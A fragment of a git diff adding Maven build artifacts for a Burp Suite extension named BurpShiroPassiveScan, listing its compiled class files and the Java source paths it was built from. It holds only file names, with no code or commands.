+burp\Application\ShiroCipherKeyExtension\ExtensionInterface\AShiroCipherKeyExtension.class +burp\Ui\Tags.class +burp\Encrypt.class +burp\Bootstrap\Encrypt\GcmEncrypt.class +burp\Application\ShiroCipherKeyExtension\ShiroCipherKey.class +burp\Application\ShiroFingerprintExtension\ExtensionMethod\ShiroFingerprint2.class +burp\Menu$2.class +burp\CustomErrorException\TaskTimeoutException.class +burp\Menu$7.class +burp\Utils$SilentURLStreamHandler.class +burp\Bootstrap\CustomBurpUrl.class +burp\CustomScanIssue.class +burp\Menu$4.class +burp\Bootstrap\DiffPage.class +burp\Bootstrap\YamlReader.class +burp\Application\ShiroCipherKeyExtension\ShiroCipherKeyThread.class +burp\Bootstrap\Encrypt\CbcEncrypt.class +burp\ConfigDlg.class +burp\Ui\ScanQueueTag$TablesData.class +burp\Menu$1.class +burp\Menu$6.class +burp\Bootstrap\GlobalVariableReader.class +burp\BurpExtender.class +burp\Menu.class +burp\Bootstrap\Encrypt\EncryptInterface.class +burp\Application\ShiroFingerprintExtension\ExtensionInterface\IShiroFingerprintExtension.class +burp\Application\ShiroFingerprintExtension\ExtensionMethod\ShiroFingerprint1.class +burp\Application\ShiroCipherKeyExtension\ExtensionInterface\IShiroCipherKeyExtension.class +burp\Application\ShiroFingerprintExtension\ExtensionInterface\AShiroFingerprintExtension.class +burp\ConfigDlg$1.class +burp\Application\ShiroFingerprintExtension\ShiroFingerprint.class +burp\Application\ShiroFingerprintExtension\ExtensionMethod\ShiroFingerprint3.class +burp\Bootstrap\CustomBurpHelpers.class +burp\Menu$3.class +burp\Ui\ScanQueueTag$URLTable.class +burp\Ui\ScanQueueTag.class +burp\Utils.class +burp\Bootstrap\GlobalPassiveScanVariableReader.class +burp\Application\ShiroCipherKeyExtension\ExtensionMethod\ShiroCipherKeyScan.class +burp\Config.class +burp\Bootstrap\CustomHelpers.class +burp\CustomErrorException\DiffPageException.class +burp\Menu$5.class +burp\Ui\BaseSettingTag.class diff --git a/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 0000000..94b9c8f --- /dev/null +++ b/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1,33 @@ +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\CustomScanIssue.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\CustomErrorException\DiffPageException.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroCipherKeyExtension\ExtensionInterface\AShiroCipherKeyExtension.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\Encrypt\EncryptInterface.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroFingerprintExtension\ExtensionInterface\IShiroFingerprintExtension.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroCipherKeyExtension\ShiroCipherKey.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroFingerprintExtension\ShiroFingerprint.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroFingerprintExtension\ExtensionMethod\ShiroFingerprint3.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\DiffPage.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\CustomHelpers.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Utils.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\CustomBurpHelpers.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\GlobalPassiveScanVariableReader.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Menu.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Ui\BaseSettingTag.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroCipherKeyExtension\ShiroCipherKeyThread.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroFingerprintExtension\ExtensionMethod\ShiroFingerprint1.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\BurpExtender.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Ui\Tags.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\Encrypt\CbcEncrypt.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroCipherKeyExtension\ExtensionMethod\ShiroCipherKeyScan.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Encrypt.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Config.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Ui\ScanQueueTag.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroFingerprintExtension\ExtensionMethod\ShiroFingerprint2.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\ConfigDlg.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\Encrypt\GcmEncrypt.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\YamlReader.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\GlobalVariableReader.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroFingerprintExtension\ExtensionInterface\AShiroFingerprintExtension.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Application\ShiroCipherKeyExtension\ExtensionInterface\IShiroCipherKeyExtension.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\Bootstrap\CustomBurpUrl.java +C:\Users\chenjunqing\Desktop\BurpShiroPassiveScan-master\src\main\java\burp\CustomErrorException\TaskTimeoutException.java